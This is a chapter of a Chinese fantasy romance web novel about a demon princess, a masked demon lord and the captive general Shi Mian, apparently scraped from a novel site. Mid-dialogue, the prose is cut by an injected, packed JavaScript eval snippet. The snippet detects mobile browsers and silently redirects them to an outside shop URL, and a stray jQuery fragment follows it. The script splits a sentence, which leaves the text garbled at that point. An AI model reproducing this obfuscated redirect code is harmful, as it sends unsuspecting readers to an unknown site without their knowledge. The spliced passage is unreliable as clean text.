24. 魔君亲临
    “你方才想......做什么?”

    紫袍大氅的男人倏然低腰,贴近她的耳畔,呼出的热流打在白皙脖颈上,似乎很轻易地便扰乱了她的心弦。

    他黑眸深邃泛出点点红光似明生晕月,嘴角轻勾,说话的声音轻柔中带有一丝玩味。

    夕凰蓦然偏头,二人间距离不外乎的拉近,视线就此相汇起来。

    明知他刻意调侃,却选择继续,甚至眉梢微翘笑意更浓,魅惑的琥珀眸光含情,自他多情的桃花眼看向润泽的唇。

    试探性凑近的同时,暗自腹诽着,自己送上了门,哪有拒收的道理,亦明显感受到了眼前之人的惊慌紧张。

    二人鼻尖轻触,顷刻间他似乎忘记了呼吸,在他以为芳香倾落之时,那勾魂摄魄的娇唇却错了过去,贴近他清晰的侧颜:

    “你以为......我要做什么?”

    呼出的热气酥酥软软地萦绕他薄红的耳根,声音情懒婉转,拖长的语调带着几分漫不经心的挑逗,让他不由自主心跳加速。

    不等他予以回复,她欣然自得擦肩而过,牵过另一边鹿眼少女的手涉阶而上,嘴角噙着的偷笑,充满暧昧......

    “两军交战,师兄你完败啊!”

    屠苏奉二提了提肩上的人,与还在呆滞的紫氅男人并肩而立。

    望向几乎与黑暗融为一体的两道身影,嘴角的讥笑实在难压,频频摇头侮辱性极强。

    蚕丝作茧,自缚其身......

    陡峭阶梯的另一头是蛊市的末端,昏暗的街道无数双绿色的魔瞳诡秘莫测,而通往巨龙魔域的路就在那里。

    众魔视线无一例外聚焦于他们身上,显而易见的身份暴露,过关斩将亦难上青天。

    俄顷,一层轻薄黑纱划过大片绿光,自命不凡的魔族公主凌驾而来,血红眸子亮得邪魅通透,玄纱金丝的大氅两条飘带在身后长长拖着,在众魔的衬托下更显奢浮华美,森冷气息的压迫感随之而来。

    “怎么?魔域现在已经是想来就能来的了?”

    说话之人不是邪魅的魔族公主,而是那个带有几分傲慢的“世家女”姜苏禾。

    多么讽刺的三个字。

    昏暗之中醒目鹅黄色依旧透着股望族闺秀的气质,只是言语......仿若这片土地是她的地盘。

    “都是灵族,怎么你来得,我们来不得?”

    着庭蕪大氅的少年再次提了提肩上的人,真诚的眼眸中透着清澈的愚蠢。

    魔族公主斜睨而去发出质疑的方位,血红眸色悄然隐去,眸中填满了那个肩上的男人,仅一瞬将目光看向把玩鬓发的紫氅少女,不疾不徐替姜苏禾回应道:

    “哦?都是灵族……吗?我看倒不见得~”

    北冥霓花尾音落下,乌泱泱的魔将似乎得到指令,开始逼近几人,释放出大量的恶意。

    魔族公主的居高临下之态让人颇为不爽,夕凰瘪着嘴,竟开始反思起来,只因在她的身上,看到了自己曾经的影子。

    凤眸之中产生不小的戾气,知晓这份恶意绝非虚妄。

    身后那个默不作声的紫氅男人,在无人问津之际,藏于氅袖的手旋出一缕墨色羽蝶,在这黑暗之中悄无声息穿行飞过......

    “这算是公然挑衅密林之谷吗?”

    他嘴角噙起的笑带有一丝凉意,自周身形成浅蓝色霜障,拦截着不断靠近的魔气。

    “公然挑衅?我们?”

    北冥霓花轻蔑一笑,反问:

    “这句话应该由我来问才对吧!你们当真要护着这么一个卑劣人族,与魔域就此为敌吗?”

    眸中的不敢置信几乎溢出眼眶。

    她的这句话,让闫阿在眸光阴郁,回想起那个曾待自己视为亲子的神君,触及逆鳞怒意难掩。

    “别忘了你之所以能活至千年是什么换来的。”

    他阴沉着脸,释放的术法更有甚之,屏退着大片魔气不惜付出隐匿代价,亦让同为灵族的庭蕪大氅少年想起了家中长辈提及的那份灵魔情缘,立即附和。

    “对啊,没有我们灵族神君,你们魔族早覆灭了!”

    北冥霓花眼皮掀起,眸中的血红再次隐隐作祟,阴柔的声音透着明晃晃的不悦:

    “找死~”

    众魔发出阴唳森音,整齐的脚步铛铛作响,几人拿出殊死一搏的勇气,术法在昏暗街道微弱起势,根本……微不足道。

    天无绝人之路,乌空雷鸣,红得刺目的阴影遮盖大片商铺,平地狂风卷起。

    又一道魔气自天际降临,玄袍金丝的雪狐大氅泛着幽光,来者有着与魔族公主一般无二的泛蓝卷发,脸上挂着碎晶黑链面罩,虚掩着面容,仅露出一双肃杀黑眸。

    魔君亲临而至———

    众魔俯首参礼,场面颇为壮观,霎时一片死寂,陷入压抑沉闷的乌黑之中,霓花脸色微变,蹙起的眉头将疑惑表达得恰似好处,在魔气弥漫的天际显得尤为怪异。

    夕凰指尖不经意间摩蹭光洁的下颌,斜睨而去,端量起这对魔族兄妹......

    这个令人闻风丧胆的北部魔君,总感觉差了些许邪傲威严。

    魔君提手之间,免去众魔的俯首之礼,兄妹二人悄然进行了一场明争暗斗的较量。

    几人由远处投来的目光,只见红唇轻启,不闻私语几何。

    “你来做什么?”

    霓花薄嗔浅怒,微妙的不满充斥于心。

    玄氅魔君拂袖,手中悬起墨色羽蝶......只一眼,她就明白兄长这位衷心的魔侍何故出现,亦这般及时。

    她挥了挥手,面上生出淡淡的不耐烦,眼睑耷拉着看去:

    “罢了,真是条好狗。”

    恶言泼语不堪入耳,碎晶黑链下的脸仍面不改色,任凭辱骂。

    夜风飒然而过,寸草不生的北部更加严寒,“魔君”嗓音似古老的钟鼓,回旋:

    “众魔听令,退———”

    这个低磁慵懒的声线,使夕凰不由看向身边的高大身影,不知道是不是她的错觉,隐约之中带了丝熟悉味道……

    鹿眼少女大氅下两只手紧抠着袖角,从未见过这般大的场面,内心恐慌无措,视线几乎仅停留于地面不敢乱看,与另一边庭蕪氅袍的少年有过之无不及。

    庭蕪大氅的少年扶在时冕腰间的手一刻不曾放下,似乎成了他的安全来源,吞着口水强装淡然,小小的眼睛瞥来瞥去,飘忽不定。

    俄顷,阶梯而下的大片魔气消失,大片诡绿被紫红散云替换,肃杀之意覆盖上了一层苍凉如烟。

    闫阿在大手轻勾夕凰紫氅后面的簇立狐毛,猝不及防遮挡她半壁视线。

    他面容沉静如水,薄唇却莫名的暗含威严,明明淡然开口:

    “彼此时间宝贵,何须浪费时间,人你若不救,便让他死,只不过要想清了,魔域是否真的要与整个灵神大陆为敌。”

    泪痣在他眼尾性感冷傲,明亮黑眸穿过似白纱的烟雾,看着那位魔君大人,又话里有话:

    “当然,我不确定这位时将军有无这般重要,你觉得呢?”

    这句话显然不是在问那位遮掩面容的神秘魔君。

    屠苏奉二手上力道紧了紧,担忧之色溢于表,这是在赌命啊?看着魔族公主似纸般煞白的面色,小腿肌肉都在隐隐作颤,甚至控制不住的下唇战栗,直到魔君发出一阵带着森然寒意的笑声。

    “这人…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938875|147365||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …本座收了。”

    “倒也不便留各位作客魔域。”

    屠苏奉二还未反应过来,肩上亦顿然轻了起来,铁面将军的身体,成一团黑气随魔君一同消失于蛊市之中。

    北冥霓花似笑非笑,脑海中浮现出,远处的紫氅少女指尖落血于双花的画面,戾气如毒蛇般,在静默中蛰伏待发,寒芒闪过眼底似刀锋直逼她而去。

    漠然歪头挑眉,阴柔声音轻扬:

    “我们下次见~”

    心中恶狠狠念上“夕凰”的名字,肩膀微微一抬,带动着全身暗黑之力猛然推动,随之飓风骤起,她消失面前。

    风沙席卷,发丝胡乱舞动着,沙尘连带着空气呈现出淡黄色,打在脸上根本看不清脚下的路,几人将手护于眼前。

    模糊之间,传来姜苏禾意味深长的话:

    “放心,时冕会相安无事。”

    让人一头雾水。

    伴随着这句话的尾音落下,沙尘缓缓停止敲打,取而代之的是凉飕飕的寒风和肌肤上的冰凉触感。

    他们睁开双眸,白茫茫的一片晃入眼帘,万里玄红的长空,飘落着如絮雪花,昙花一现融化于指间,顺着指缝滴落。

    冰窟之地,回来了......

    —

    巨龙魔域,雪杀宫。

    红木嵌牙的凤纹床榻上静躺着面目可憎的人,薄唇以上的面部肌肤挂着几道长约三寸的黝黑刀疤,额间刘海儿稍稍覆盖了小部分疤痕。

    每一道刀疤皆深可见骨,边缘覆于细丝如麻的红褐色网状诅痕,千疮百孔红肉外翻,三分像人,七分像鬼。

    一般人见了定反胃难耐极为厌恶,唯独她,落座榻边眼含温情,唇角时不时弯起好看的弧度,为他擦拭颈间细汗,悉心照料,无微不至。

    这份执着又病态的爱意让人不禁毛骨悚然。

    倏忽,时冕睫毛轻轻颤动,眉头蹙起又舒展,慢慢的……眼睛微眯成缝,昏暗烛光映入他的眸中,醒了过来。

    注意到身边着玄纱金丝狐氅的女人,瞬间警惕,不自觉向床榻里面靠去,周身凝聚蓝焰之气,形成自我保护的屏障。

    霓花轻笑,随着他往里靠去,自己亦放下身段攀上床榻,呈跪姿双手支撑于绣凤被褥,妩媚向前扭动腰身,似发情的缅因,温柔的声音快要掐出水来:

    “阿冕纵然寡情,莫不然还要做个忘恩负义之人?”

    在离他颇近时,手指轻拂而过他额间刘海儿,性感锁骨下的春光几乎一览无余,勾人的眼神若有似无扫过那些丑陋刀疤,欲准备俯身献吻时,被其闪躲开来。

    狠戾目光与她相汇,肃然正声:

    “拿来。”

    言简意骇的两个字,冷酷似玄铁陨石,穿过身体,仅留下破坏和毁灭,不带走一丝温暖。

    她的确不曾想,自己已然这般殷勤讨好,换来的竟还是无法言说的无情,顿时也没了雅兴,立身而起,整理半露的凌乱衣衫,沉着脸将那骇人的铁面扔还给他。

    “你为何就是不愿服软?你只要同我认错,承认你对我有爱慕之情,我自当为你拾回往日的光鲜,何需较劲于此,不放过我亦不肯放过你自己!”

    仅着白色里衣的时冕面不改色,铁面覆脸后,冷眸瞥过衣架上的靛蓝盔甲,自顾自提起皮靴,起身大手一挥,盔甲自衣架飘来,又是衣冠齐楚。

    “说话……时冕。”

    她目不斜视注视着男人的一举一动,血气翻涌,恨他总是这副不以为然的冷漠样子。

    时冕不看她,向寝宫外走去,一门心思只想离开魔域:

    “北冥霓花,你未免太过刚愎自用。”

    这是他留下的话,亦是同她讲过最长的一句话。